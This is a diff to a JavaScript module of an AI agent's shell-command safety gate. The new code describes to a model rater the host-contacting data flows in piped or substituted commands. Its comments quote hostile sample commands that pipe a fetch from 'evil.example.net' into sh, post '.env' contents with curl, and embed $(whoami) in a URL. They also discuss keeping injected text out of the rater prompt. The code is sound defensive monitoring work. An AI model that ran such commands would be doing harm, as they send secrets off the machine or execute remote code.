@gaunt-sloth/core 2.0.0-alpha.26 → 2.0.0-alpha.27

package/dist/core/shell/openWorld.js

@@ -38,15 +38,49 @@
  * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
  * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
  *
+ * ## TWO CONSUMERS, TWO INPUT SETS — read this before merging them back together
+ *
+ * This module answers the host question for **two** callers whose error costs differ, so it has two
+ * entry points and they are deliberately not the same function:
+ *
+ * - {@link findOpenWorldHostLiterals} — **the floor**. Its finding rewrites a `safe` verdict to
+ *   `destructive` with no model in the loop, so it fires only where the parser resolved the whole
+ *   command. "The parser could not resolve this" is a fact about the checker, not a detection about
+ *   the command, and this layer floors only what is deterministically known.
+ * - {@link findComposedOpenWorld} — **the note**. It reads the parts of a command the parser could
+ *   NOT resolve as a whole, and its finding is handed to the rater as context. It changes no
+ *   outcome by itself.
+ *
+ * **The error-cost regime is the third distinct one in this codebase, and it is the widest — about
+ * WHICH HOSTS ARE NAMED.** The §8 hardline REFUSES unappealably, so it must be the narrowest. This
+ * module's floor RAISES a prompt, so it over-matches (below). Naming a host in the note only
+ * INFORMS THE MODEL: a host named that turns out not to be contacted costs one sentence of
+ * attention and no interruption at all. So do not "fix" a note false positive by narrowing the host
+ * extractor; that trades a free cost for a silent one.
+ *
+ * **That licence covers which hosts are named. It does not cover WHAT THE NOTE SAYS THEY DO.** A
+ * flow sentence asserts a mechanism — that fetched bytes are executed, that a file's contents are
+ * sent — and the rater cannot check that against a shell; it can only believe it. A mechanism that
+ * is false on an ordinary command is this node's own named failure mode arriving one layer in: an
+ * escalation laundered through the model instead of the parser, unfalsifiable because a note said
+ * it. So each flow arm fires only where its claim is **true of the program named**, and everything
+ * else falls through to the flowless sentence — which still names the hosts and says outright that
+ * the flow is not known. Saying less is not a loss of assistance; asserting a false mechanism is a
+ * loss of the layer.
+ *
+ * **And a flow sentence names EVERY host of the part it describes**, for the reason
+ * {@link findOpenWorldHostLiterals} returns every match rather than the first: the first is the
+ * proxy, and a sentence that names the reassuring host while hiding the other is worse than no
+ * sentence.
+ *
  * ## The shape of the matcher
  *
  * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
  *
- * 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
- *    composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
- *    preflight already floors those. So this matcher never has to parse a hard command — and it
- *    must not claim the finding, because "it names a host" would be a worse (and possibly false)
- *    explanation than "its target cannot be statically resolved".
+ * 1. **Decline on anything unclassifiable** — for the FLOOR only. {@link classifyCommand} returns
+ *    `null` on any composition (separator, line break, `$(…)`, backtick, redirection), and a
+ *    deterministic floor must not claim "it names a host" about a string whose target it could not
+ *    statically resolve. The note path picks those up instead, by reading the parts.
  * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
  * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
  * 4. **Test only the candidate operands** for a host literal.
@@ -472,13 +506,14 @@ function matchArgv(argv) {
  * caller can never accidentally hand this a form that has already lost the composition boundary
  * the decline below depends on.
  *
- * Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
- * classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
- * them**, with a truer explanation than this one could give. Composed egress
- * (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
- * That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
- * finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
- * — and already escalating — before EXT-61 existed.
+ * **This is the FLOOR's input set, and it is narrow on purpose.** It returns `[]` — declining rather
+ * than flooring — for any command {@link classifyCommand} cannot classify: those compose, substitute
+ * or redirect, and a deterministic rewrite of the rater's verdict must rest on a target this module
+ * actually resolved. A composed fetch (`curl … | sh`, `cat .env | curl …`) is therefore **not
+ * floored**; it is reported to the rater as context by {@link findComposedOpenWorld} instead, which
+ * is a different question with a different error cost (module docblock). The same decline is why
+ * `sed -i 's|http://a|http://b|' config.yml` is not this preflight's finding: the `|` inside the sed
+ * expression reads as composition.
  *
  * **Every match is returned, not the first.** The first is not the target: for
  * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
@@ -520,4 +555,634 @@ export function findOpenWorldHostLiterals(command) {
     const rawArgv = tokenize(command);
     return rawArgv === null ? [] : matchArgv(rawArgv);
 }
+/* ───────────────────────────────────────────────────────────────────────────────────────────────
+ * THE NOTE PATH — what the RATER is told about a composed command that names a host.
+ *
+ * Everything below feeds {@link import('./rater.js').buildRaterPrompt} and nothing else. It never
+ * reaches {@link import('./rater.js').mapVerdictToAction}, so it can raise no floor and change no
+ * outcome on its own.
+ *
+ * **Why it exists at all.** {@link findOpenWorldHostLiterals} declines a command the parser could
+ * not resolve, and that decline used to be invisible because the same commands were floored by the
+ * ambiguity abstention. With the abstention retired they are RATED — and because one function fed
+ * both the floor and the note, a composed command reached the rater with *less* information than
+ * the same fetch written as a single command: no floor, and no mention of the host either. Adding a
+ * pipe removed information from the model. That asymmetry is what this path closes.
+ *
+ * **And the host alone is not the information.** A rater sees a hostname, names it in its own
+ * reasoning, and rates the command safely anyway — which is why host trust is deterministic
+ * exact-match and not a model call in the first place. Restating a hostname that is already in the
+ * command text is assistance in form only. What a model can genuinely miss is the **data flow across
+ * the parts**: in `cat .env | curl -X POST https://…` the fact worth stating is that a local file's
+ * contents are read into an outbound request, which takes composing two segments to see — exactly
+ * what the parser failed to do. So the note names the FLOW where one is determinable, and says only
+ * what it knows where one is not.
+ *
+ * **Two rules govern every sentence below, and both are load-bearing:**
+ *
+ * 1. **It never invents a flow.** An arm fires only where its mechanism is true of the program
+ *    named — the at-sign convention only for a program that has it, a substitution only where the
+ *    program SENDS that operand, execution of fetched bytes only where **no token on the
+ *    interpreter's own argv could be a program**. That last one is read from ARGV SHAPE alone,
+ *    without knowing what any flag letter means, so it hedges wherever a token has text of its own
+ *    that could be a program — and where two shapes are indistinguishable by their characters it
+ *    can be wrong in EITHER direction, which {@link interpreterRunsStdin} names case by case rather
+ *    than claiming a property this code does not have. Anything else falls through to the flowless
+ *    sentence. The module docblock says why this is not the same trade-off as over-matching a host.
+ * 2. **It names every host of the part it describes**, and any host the rest of the line names is
+ *    added rather than dropped. Naming a flow must never cost the note a counterparty, or adding a
+ *    pipe would once again remove information from the model — the very asymmetry this path exists
+ *    to close.
+ * ─────────────────────────────────────────────────────────────────────────────────────────────── */
+/**
+ * The shells. Kept as its own set because one thing is true of shells and of nothing else here: a
+ * `-s` in a flag cluster means *"the program is standard input, and every operand after it is an
+ * ARGUMENT to that program"* — `curl … | sh -s -- --unattended`, the ordinary unattended-installer
+ * form. Elsewhere the same letter means something unrelated (`python3 -s` is a site-packages
+ * switch), which is why {@link interpreterRunsStdin} consults it only for these heads.
+ */
+const SHELL_INTERPRETERS = new Set([
+    'sh',
+    'bash',
+    'zsh',
+    'dash',
+    'ksh',
+    'ash',
+    'csh',
+    'tcsh',
+    'fish',
+]);
+/**
+ * Programs that CAN run what arrives on their standard input. Piping a fetch into one of these makes
+ * the fetched bytes the program **when no token on that interpreter's own argv could be a program
+ * instead** — which is the question {@link interpreterRunsStdin} answers, and which decides which
+ * sentence this note carries.
+ *
+ * An enumeration, and a miss costs only a less specific note (the host is still named and the
+ * remaining sentence is still true), which is what makes an enumeration acceptable *here* and not in
+ * a layer that decides an outcome.
+ */
+const STDIN_INTERPRETERS = new Set([
+    ...SHELL_INTERPRETERS,
+    'python',
+    'python2',
+    'python3',
+    'node',
+    'nodejs',
+    'deno',
+    'bun',
+    'perl',
+    'ruby',
+    'php',
+    'lua',
+    'osascript',
+    'powershell',
+    'pwsh',
+]);
+/** A short-flag cluster: one dash, then letters or digits (`-s`, `-fsSL`, `-es`). */
+const SHORT_FLAG_CLUSTER_RE = /^-[A-Za-z0-9]+$/;
+/** A long flag with nothing attached: two dashes, then letters, digits or dashes (`--norc`). */
+const LONG_FLAG_RE = /^--[A-Za-z0-9][A-Za-z0-9-]*$/;
+/** A token that is nothing but dashes (`-`, `--`). It has no room to carry a program. */
+const DASHES_ONLY_RE = /^-+$/;
+/**
+ * Is this token a flag and ONLY a flag — with no text glued to it that could be a program?
+ *
+ * Three shapes qualify, and each is a statement about the token's characters rather than about what
+ * any program does with them: nothing but dashes, a short-flag cluster, or a long flag with nothing
+ * attached. Every other `-`-leading token — `-mjson.tool`, `-pes/a/b/`, `--eval=console.log(1)`,
+ * `-cprint(1)` — carries text of its own, and that text can be a program.
+ *
+ * The limit is exactly where the characters stop distinguishing: a glued value made only of letters
+ * and digits (`-mbase64`) is the same shape as a flag cluster (`-fsSL`) and passes here.
+ * {@link interpreterRunsStdin} records what that costs — and note the cost is not uniform, since
+ * `-MJSON` has that same shape while the reading it produces is correct.
+ */
+function isCleanFlag(token) {
+    return (DASHES_ONLY_RE.test(token) || SHORT_FLAG_CLUSTER_RE.test(token) || LONG_FLAG_RE.test(token));
+}
+/**
+ * Does this line leave the interpreter's PROGRAM to standard input, or could a token on the
+ * interpreter's own argv be the program instead?
+ *
+ * Answered from the shape of the argv alone. **There is deliberately no table of what each
+ * interpreter's flags mean**, because that table is the enumeration that acquires a blind spot one
+ * release at a time ([[cmd-pos-is-an-enumeration]]) — and here a wrong entry does not cost a miss,
+ * it puts a FALSE MECHANISM in front of the rater in one direction or the other. `-e` is `eval` to
+ * node and perl and `errexit` to every shell; `-m` is a module to python and job control to bash. Two
+ * program-agnostic facts settle it instead:
+ *
+ * - **A token that is not a clean flag by shape** ({@link isCleanFlag}) may be the program
+ *   (`python3 script.py`), or the value of a flag that supplies one — whether that value is spaced
+ *   (`bash -c "…"`, `python3 -m json.tool`) or GLUED to the flag (`python3 -mjson.tool`,
+ *   `perl -pe's/a/b/'`, `node --eval="…"`). Shape cannot tell those apart, and it does not need to:
+ *   in every one of them the line may hand the interpreter something of its own, so the note must
+ *   not say the fetched bytes are what runs. Testing merely for a leading dash instead would make
+ *   the gate spelling-sensitive where it has to be shape-sensitive, and assert execution of a
+ *   `curl … | python3 -mjson.tool` that only pretty-prints.
+ * - **A shell's `-s`, alone or in a cluster**, says the program IS standard input. It therefore
+ *   WINS over the token test, which would otherwise read the script's own arguments (`sh -s foo`)
+ *   as a program and soften the sentence on the hostile shape.
+ *
+ * **Where shape runs out — both directions, stated rather than claimed away.** Two token shapes are
+ * indistinguishable from a clean flag by their characters alone, and each costs a different error:
+ *
+ * - **A DETACHED flag value** (`bash -o pipefail`, `bash --rcfile /dev/null`) is a token with text
+ *   of its own, so it reads as a possible program and a shell that really does run its standard
+ *   input gets the hedged sentence. This one UNDER-claims, which is the tolerable side: the note
+ *   still names every host and still says the fetched bytes may be what executes.
+ * - **A glued value made only of letters and digits** (`python3 -mbase64`) is the same characters
+ *   as a flag cluster, so it reads as a clean flag and the strong sentence fires on a line that only
+ *   ENCODES the fetched bytes. This one OVER-claims, which is the failure this note path exists to
+ *   remove — it is narrowed here to the shapes characters cannot separate, not eliminated.
+ *   Note the shape does not decide the direction: `perl -MJSON` is the identical shape and the
+ *   strong sentence is TRUE there, because `-M` only loads a module and leaves standard input as
+ *   the program. Both are pinned, the second as correct behaviour rather than as a gap.
+ *
+ * Neither is closable from shape. Both need to know which flags take a value, which is the table
+ * this function refuses: a wrong entry there would state a false mechanism on EVERY line using that
+ * flag, where shape is wrong only on the lines whose tokens are genuinely ambiguous. Both are pinned
+ * in the spec, so closing either is a decision and not a drift.
+ */
+function interpreterRunsStdin(head, operands) {
+    if (SHELL_INTERPRETERS.has(head)) {
+        const forcesStdin = operands.some((operand) => SHORT_FLAG_CLUSTER_RE.test(operand) && operand.includes('s'));
+        if (forcesStdin)
+            return true;
+    }
+    return operands.every(isCleanFlag);
+}
+/**
+ * Split a command line into its parts at the separators the SHELL would act on.
+ *
+ * Quote-aware and nesting-aware, because both are the difference between a part and a fragment: a
+ * `|` inside `"$(cat a | b)"` or inside `'a;b'` starts no new command, and splitting there would
+ * describe a flow the shell never performs. The nesting counter covers `$(…)`, `<(…)`, `>(…)` and
+ * backticks — the constructs whose interior is a command line of its own.
+ *
+ * This does NOT try to be a shell parser. It is the smallest thing that can say "these are the parts
+ * and this one feeds that one", which is all the note needs.
+ */
+function splitComposed(command) {
+    const segments = [];
+    let current = '';
+    let separatorBefore = 'none';
+    let quote = null;
+    let depth = 0;
+    let backtick = false;
+    const cut = (next) => {
+        segments.push({ text: current, separatorBefore });
+        current = '';
+        separatorBefore = next;
+    };
+    for (let i = 0; i < command.length; i++) {
+        const ch = command[i];
+        const next = command[i + 1];
+        if (quote !== null) {
+            current += ch;
+            if (ch === quote)
+                quote = null;
+            continue;
+        }
+        if (ch === '"' || ch === "'") {
+            quote = ch;
+            current += ch;
+            continue;
+        }
+        if (ch === '`') {
+            backtick = !backtick;
+            current += ch;
+            continue;
+        }
+        if (!backtick && (ch === '$' || ch === '<' || ch === '>') && next === '(') {
+            depth++;
+            current += ch + next;
+            i++;
+            continue;
+        }
+        if (depth > 0) {
+            if (ch === '(')
+                depth++;
+            else if (ch === ')')
+                depth--;
+            current += ch;
+            continue;
+        }
+        if (backtick) {
+            current += ch;
+            continue;
+        }
+        if (ch === '\n' || ch === '\r' || ch === ';') {
+            cut('sequence');
+            continue;
+        }
+        if (ch === '&') {
+            if (next === '&')
+                i++;
+            cut('sequence');
+            continue;
+        }
+        if (ch === '|') {
+            // `||` is a sequence operator; a single `|` is the one that connects two parts' streams, and
+            // that connection is the whole of what a flow sentence describes.
+            if (next === '|') {
+                i++;
+                cut('sequence');
+            }
+            else {
+                cut('pipe');
+            }
+            continue;
+        }
+        current += ch;
+    }
+    cut('none');
+    return segments.filter((segment) => segment.text.trim().length > 0);
+}
+/**
+ * The characters a token may contain to be quoted back inside our own note.
+ *
+ * **This is an injection boundary, not cosmetics.** The note is OUR trusted text and sits OUTSIDE
+ * the `<command_to_evaluate>` fence, while every token it names comes from the model's command
+ * string. {@link SCHEME_RE} and {@link HOST_COLON_PATH_RE} are PREFIX tests, so an operand that
+ * starts as a URL carries whatever follows it — and a composed command is the easiest place to build
+ * one. Barring whitespace and line breaks is what stops a "hostname" from becoming a sentence or a
+ * new line in a prompt that is read as instructions.
+ *
+ * A token that fails this is not mangled into shape; it is simply not named ({@link quotable}), and
+ * the sentence falls back to a generic word.
+ */
+const QUOTABLE_IN_NOTE_RE = /^[A-Za-z0-9~/.[][A-Za-z0-9._~@:/+?=,%#[\]-]{0,99}$/;
+/** The token if it is safe to name in our own note, else `null`. See {@link QUOTABLE_IN_NOTE_RE}. */
+function quotable(token) {
+    return QUOTABLE_IN_NOTE_RE.test(token) ? token : null;
+}
+/** `$(…)` or a backtick — the substitution forms the shell EXECUTES before the outer program runs. */
+const EXECUTING_SUBSTITUTION_RE = /\$\(|`/;
+/**
+ * curl's convention for "read this operand from a local file rather than taking it literally". `@-`
+ * is standard input, which is the pipe case rather than a file read.
+ *
+ * Within a head that HAS the convention this is keyed on the convention and not on a list of the
+ * flags that honour it: an enumeration of `-d`/`--data-binary`/`-T`/`-F`/… acquires a blind spot one
+ * flag at a time, and a miss there costs a less specific note. Which heads have it at all is a
+ * different question and is answered by {@link AT_FILE_HEADS}.
+ */
+const AT_FILE_OPERAND_RE = /^@(?!-$)(.+)$/;
+/**
+ * The heads whose operand beginning with `@` means *"read this local file and send its contents"*.
+ *
+ * **curl alone, and the narrowness is the point.** The sentence this arm emits names that mechanism
+ * outright, so it is only ever true of a program that has the convention. A leading at-sign is
+ * ordinary in operands that are nothing of the kind — `npm install @babel/core`, `pnpm add
+ * @types/node`, `yarn add @scope/pkg` are scoped package NAMES, and applying curl's convention to
+ * them both invents a mechanism and invents a filename that does not exist. httpie's file forms
+ * attach to a field (`field@file`) rather than standing as a bare operand, so it is out too: a head
+ * admitted here on a guess re-creates exactly the defect this gate prevents, while a head left out
+ * costs only the flowless sentence, which still names the host.
+ *
+ * The head is `argv[0]` of the part, so a wrapped form (`sudo curl -d @secret …`) falls through as
+ * well — the same trade, taken the same way.
+ */
+const AT_FILE_HEADS = new Set(['curl']);
+/**
+ * Flags whose VALUE the program puts into what it SENDS — a request body, a header, credentials.
+ *
+ * **Keyed by head, because a flag letter is not a convention:** `git push -d <branch>` deletes a
+ * branch, and an ungated list would let *"the result of the inner command is part of what git sends
+ * to <host>"* through unchecked. Only values sent LITERALLY are listed: `-T`/`--upload-file` and
+ * `-F`/`--form` take a filename or an `@file` reference, so a substitution there produces the NAME
+ * of what is sent rather than the content, and claiming otherwise would be the same false mechanism
+ * one flag along.
+ *
+ * A head or a flag missing from here costs the flowless sentence, which is the direction this table
+ * must fail in.
+ */
+const SEND_OPERAND_FLAGS = new Map([
+    [
+        'curl',
+        new Set([
+            '-d',
+            '--data',
+            '--data-raw',
+            '--data-ascii',
+            '--data-binary',
+            '--data-urlencode',
+            '--json',
+            '--form-string',
+            '-H',
+            '--header',
+            '-u',
+            '--user',
+        ]),
+    ],
+    ['wget', new Set(['--post-data', '--body-data', '--header'])],
+]);
+/** A redirection operator standing alone: `>`, `>>`, `2>`, `&>`, `<`. */
+const REDIRECT_OPERATOR_RE = /^(?:\d*(?:>>?|<<?)|&>>?)$/;
+/** The same, glued to what follows it: `>out.txt`, `2>>log`. */
+const REDIRECT_PREFIX_RE = /^(?:\d*(?:>>?|<<?)|&>>?)/;
+/**
+ * Is a substitution in this part in a position the program SENDS?
+ *
+ * The arm's sentence says the inner command's output becomes part of what the program sends to the
+ * host. That is true of a request body, a header or a URL; it is false of the two places a
+ * substitution most often sits in ordinary work — an OUTPUT filename (`curl -o "$(date).json" <URL>`,
+ * `wget -O "$(date).html" <URL>`) and a REDIRECT target (`curl <URL> > "$(date).txt"`), where the
+ * output names a local file and nothing about it goes anywhere.
+ *
+ * So a position must be positively recognised as a sending one, rather than merely not recognised as
+ * an output one: an unlisted flag then costs the flowless sentence instead of a false claim.
+ * Recognised positions are the value of a {@link SEND_OPERAND_FLAGS} flag, in either spelling, and
+ * the endpoint operand itself (`curl "https://evil.example/$(whoami)"`, where the substitution is
+ * part of the request line).
+ */
+function substitutionIsSent(segment) {
+    const sendFlags = SEND_OPERAND_FLAGS.get(segment.head);
+    for (let i = 0; i < segment.argv.length; i++) {
+        const token = segment.argv[i];
+        if (!EXECUTING_SUBSTITUTION_RE.test(token))
+            continue;
+        // A redirect target is not an operand of the program at all — the shell consumes it.
+        if (REDIRECT_PREFIX_RE.test(token))
+            continue;
+        const previous = i > 0 ? segment.argv[i - 1] : undefined;
+        if (previous !== undefined && REDIRECT_OPERATOR_RE.test(previous))
+            continue;
+        // `--data=$(…)` — the value glued to its flag.
+        if (token.startsWith('-')) {
+            if (sendFlags?.has(token.split(/=(.*)/)[0]))
+                return true;
+            continue;
+        }
+        // `-d $(…)` — the detached value. An operand preceded by a flag is that flag's value, so an
+        // unlisted flag (`-o`, `-O`, `--output`) stops here rather than falling on to the operand test.
+        if (previous !== undefined && previous.startsWith('-')) {
+            // `-d @$(…)` names a file to read; its CONTENTS are sent, not the substitution's output.
+            if (sendFlags?.has(previous) && !token.startsWith('@'))
+                return true;
+            continue;
+        }
+        // The endpoint operand itself. `[<>]` excludes an unspaced redirect (`<URL>>$(date).txt`),
+        // which is a host literal by prefix but a filename after the operator.
+        if (segment.hosts.includes(token) && !/[<>]/.test(token))
+            return true;
+    }
+    return false;
+}
+/** Read one part the way the matcher reads a whole command; `null` when it does not tokenize. */
+function analyzeSegment(segment) {
+    const argv = tokenize(segment.text);
+    if (argv === null || argv.length === 0)
+        return null;
+    return {
+        separatorBefore: segment.separatorBefore,
+        argv,
+        head: bareHead(argv[0]),
+        hosts: matchArgv(argv),
+    };
+}
+/**
+ * Name the flow across the parts, or `null` when none of the shapes below applies.
+ *
+ * **Only shapes where the flow is determinable from the argv alone appear here**, and the order is
+ * how specific each one is. A part piped into an ordinary local program (`curl … | jq .version`) is
+ * deliberately NOT a flow: it is real, but naming it would state something the rater can already see
+ * in the text, and the note's whole value is the fact that needs two parts composed to notice.
+ *
+ * **Each arm carries EVERY host of the part it describes, not the first.** The first is the proxy in
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x | sh`, and the sentence that
+ * names it alone hides the host whose bytes `sh` runs.
+ */
+function findFlow(segments) {
+    for (let i = 0; i + 1 < segments.length; i++) {
+        const upstream = segments[i];
+        const downstream = segments[i + 1];
+        if (downstream.separatorBefore !== 'pipe')
+            continue;
+        if (upstream.hosts.length > 0 && STDIN_INTERPRETERS.has(downstream.head)) {
+            return {
+                kind: 'fetch-into-interpreter',
+                hosts: upstream.hosts,
+                interpreter: downstream.head,
+                stdinIsTheProgram: interpreterRunsStdin(downstream.head, downstream.argv.slice(1)),
+            };
+        }
+        if (upstream.hosts.length === 0 && downstream.hosts.length > 0) {
+            return {
+                kind: 'local-into-transfer',
+                producer: upstream.head,
+                transfer: downstream.head,
+                hosts: downstream.hosts,
+            };
+        }
+    }
+    for (const segment of segments) {
+        if (segment.hosts.length === 0)
+            continue;
+        if (substitutionIsSent(segment)) {
+            return {
+                kind: 'substitution-into-transfer',
+                transfer: segment.head,
+                hosts: segment.hosts,
+            };
+        }
+        if (!AT_FILE_HEADS.has(segment.head))
+            continue;
+        const atFile = segment.argv
+            .map((token) => AT_FILE_OPERAND_RE.exec(token)?.[1])
+            .find((path) => path !== undefined);
+        if (atFile !== undefined) {
+            return {
+                kind: 'file-into-transfer',
+                transfer: segment.head,
+                hosts: segment.hosts,
+                path: quotable(atFile),
+            };
+        }
+    }
+    return null;
+}
+/** Read every part of one form of the command; `null` when no part names a host. */
+function analyzeComposed(command) {
+    const segments = splitComposed(command)
+        .map(analyzeSegment)
+        .filter((segment) => segment !== null);
+    const hosts = [...new Set(segments.flatMap((segment) => [...segment.hosts]))];
+    if (hosts.length === 0)
+        return null;
+    return { hosts, flow: findFlow(segments) };
+}
+/**
+ * Read a command the gate's parser could NOT resolve part by part, and report the host literals and
+ * the data flow across those parts — or `null` when the command resolves, or when no part names a
+ * host.
+ *
+ * **This feeds the rater's note and nothing else.** It is never consulted by the destructive floor:
+ * see the module docblock for why the two questions have different input sets, and
+ * {@link findOpenWorldHostLiterals} for the floor's.
+ *
+ * The `null` on a resolvable command is the guard that keeps the rater from being told about the
+ * same host twice in two registers — a command the parser resolved is the floor's, and the floor's
+ * own note already names its hosts.
+ *
+ * Both the normalized and the raw form are read, for the reason {@link findOpenWorldHostLiterals}
+ * gives: normalization collapses `\x` to `x`, which defeats `c\url` and destroys a Windows path
+ * separator, so the raw pass is the only one that still sees `C:\Windows\System32\curl.exe`.
+ *
+ * @param command The raw command string as the model proposed it.
+ */
+export function findComposedOpenWorld(command) {
+    if (classifyCommand(command, normalizeCommand) !== null)
+        return null;
+    return analyzeComposed(normalizeCommand(command)) ?? analyzeComposed(command);
+}
+/**
+ * The opening line of the composed open-world note.
+ *
+ * **It states the two facts and asserts no third one.** A part of this line names a host in a
+ * fetch/transfer position, and nothing about the command has been decided. The second half is what
+ * keeps this out of the floor note's register: that one may say the command *"is never
+ * auto-approved"* because a floor really did fire, and here no floor exists — repeating its sentence
+ * would tell the rater the outcome is settled when the rating is the only thing that decides it.
+ */
+export const COMPOSED_OPEN_WORLD_PREAMBLE = 'OPEN-WORLD NOTE: the gate could not resolve this command line as a single command — it composes, ' +
+    'substitutes or redirects — so it was not put through the deterministic host check a plain ' +
+    'command goes through. Reading its parts separately, one of them names a host in a fetch or ' +
+    'transfer position. Nothing has been decided here and nothing has been floored: this is context ' +
+    'about what the parts do together, and the rating is entirely yours.';
+/**
+ * Name every host that is safe to quote back, in argv order.
+ *
+ * **Every one, never the first.** The finding carries all of them because the first is the proxy and
+ * the second is the counterparty as often as the other way round; a sentence that drops the rest
+ * hides exactly what it exists to surface. A host that fails {@link quotable} is not named at all —
+ * that is the injection boundary, not a shortening — and when none can be named the caller's
+ * fallback word stands in for them.
+ */
+function nameHosts(hosts, fallback) {
+    const named = hosts.map(quotable).filter((host) => host !== null);
+    if (named.length === 0)
+        return { phrase: fallback, plural: false };
+    if (named.length === 1)
+        return { phrase: named[0], plural: false };
+    const last = named[named.length - 1];
+    return { phrase: `${named.slice(0, -1).join(', ')} and ${last}`, plural: true };
+}
+/**
+ * The sentence describing the flow — the mechanism, then a question.
+ *
+ * Neither is a verdict about the command. [[QA-17]] measured that a bare observation from a
+ * component that has just said it could not read the command is taken as DOUBT rather than as
+ * information, and that one sentence of MECHANISM is what moves a rater; these say what the shell
+ * does with the parts and then hand the judgement back.
+ *
+ * Every arm renders `flow.hosts` through {@link nameHosts} and agrees its verbs with the count, so
+ * the one-host reading and the several-host reading are the same sentence rather than two that can
+ * drift.
+ */
+function flowSentence(flow) {
+    switch (flow.kind) {
+        case 'fetch-into-interpreter': {
+            const { phrase: host, plural } = nameHosts(flow.hosts, 'that host');
+            const interpreter = quotable(flow.interpreter) ?? 'the program after the pipe';
+            const returns = plural ? 'return' : 'returns';
+            const does = plural ? 'do' : 'does';
+            // A token on the interpreter's own argv could be a program, so the fetched bytes may be its
+            // INPUT rather than the thing it runs — `curl … | python3 -m json.tool` pretty-prints them as
+            // data, and so does the glued `-mjson.tool` spelling. The sentence hedges because the gate
+            // reads shape and not flag meanings; see {@link interpreterRunsStdin}.
+            if (!flow.stdinIsTheProgram) {
+                return (`The part that fetches from ${host} is piped into ${interpreter}, so ${interpreter} ` +
+                    `reads whatever ${host} ${returns}. This line also gives ${interpreter} operands of its ` +
+                    `own, which may be the program it runs, so the gate is not saying the fetched bytes are ` +
+                    `what executes here — they may be INPUT to that program instead. What ${does} ${host} ` +
+                    `serve here, and what does ${interpreter} do with it?`);
+            }
+            return (`The part that fetches from ${host} is piped into ${interpreter}, so the shell hands ` +
+                `whatever ${host} ${returns} to ${interpreter} and ${interpreter} runs it as a program on ` +
+                `this machine. What this line executes is therefore decided by ${host} and is not in the ` +
+                `text above. What ${does} ${host} serve here?`);
+        }
+        case 'local-into-transfer': {
+            const { phrase: host } = nameHosts(flow.hosts, 'that host');
+            const producer = quotable(flow.producer) ?? 'the program before the pipe';
+            const transfer = quotable(flow.transfer) ?? 'the program after the pipe';
+            return (`The output of ${producer} is piped into ${transfer}, so whatever ${producer} produces on ` +
+                `this machine is what ${transfer} sends to ${host}. It takes both parts together to see ` +
+                `that: neither one moves local data off the machine on its own. What does ${producer} read ` +
+                `and emit here?`);
+        }
+        case 'substitution-into-transfer': {
+            const { phrase: host } = nameHosts(flow.hosts, 'that host');
+            const transfer = quotable(flow.transfer) ?? 'the transfer program';
+            return (`An operand of ${transfer} is a substitution. The SHELL runs that inner command first and ` +
+                `substitutes its output into the argument list BEFORE ${transfer} starts, so the result of ` +
+                `the inner command is part of what ${transfer} sends to ${host} — the operand is not the ` +
+                `literal text shown. What does the inner command produce?`);
+        }
+        case 'file-into-transfer': {
+            const { phrase: host } = nameHosts(flow.hosts, 'that host');
+            const transfer = quotable(flow.transfer) ?? 'the transfer program';
+            const file = flow.path === null ? 'a local file' : `the local file ${flow.path}`;
+            return (`An operand of ${transfer} begins with an at-sign, which tells ${transfer} to read ` +
+                `${file} and send its CONTENTS to ${host} rather than sending the name itself. What is in ` +
+                `that file?`);
+        }
+    }
+}
+/**
+ * The hosts the rest of the line names, added after the flow sentence.
+ *
+ * A flow describes ONE part; the finding covers the whole line. Without this, naming a flow would
+ * cost the note every host outside that part — the same loss as naming only the first host, one
+ * level up. Empty when the flow already named them all, which is the ordinary case.
+ */
+function residualSentence(hosts) {
+    const { phrase, plural } = nameHosts(hosts, '');
+    if (phrase === '')
+        return '';
+    return plural
+        ? ` Other parts of this line also name ${phrase}, and the gate is not saying what reaches them. ` +
+            'What do those parts do here?'
+        : ` Another part of this line also names ${phrase}, and the gate is not saying what reaches ` +
+            'it. What does that part do here?';
+}
+/**
+ * What the note says when no flow is determinable: the hosts, and an explicit statement that the
+ * flow is NOT known. A note that guessed at one would be worse than a short one, and a reader told
+ * what the gate could not work out can weigh it.
+ */
+function flowlessSentence(hosts) {
+    const { phrase, plural } = nameHosts(hosts, 'a host');
+    const subject = plural ? 'The parts read separately name' : 'The part in question names';
+    const them = plural ? 'those hosts' : 'that host';
+    const contact = plural
+        ? 'the parts of this line contact them'
+        : 'one part of this line contacts it';
+    return (`${subject} ${phrase}. The gate could not work out how the parts feed into each other, so it ` +
+        `is not telling you what reaches ${them} — only that ${contact}. What does the whole line do ` +
+        'once every part has run?');
+}
+/**
+ * Build the composed open-world note for a command, or `null` when there is nothing to say.
+ *
+ * One sentence of mechanism when the flow is determinable, plus the hosts the rest of the line names
+ * ({@link residualSentence}); when it is not, {@link flowlessSentence}. **Every host on the finding
+ * that can be quoted is named either way** — which arm fired must never decide how much the rater is
+ * told about the counterparties.
+ *
+ * @param command The raw command string as the model proposed it.
+ */
+export function buildComposedOpenWorldNote(command) {
+    const finding = findComposedOpenWorld(command);
+    if (finding === null)
+        return null;
+    const flow = finding.flow;
+    const body = flow === null
+        ? flowlessSentence(finding.hosts)
+        : flowSentence(flow) +
+            residualSentence(finding.hosts.filter((host) => !flow.hosts.includes(host)));
+    return `${COMPOSED_OPEN_WORLD_PREAMBLE}\n${body}`;
+}
 //# sourceMappingURL=openWorld.js.map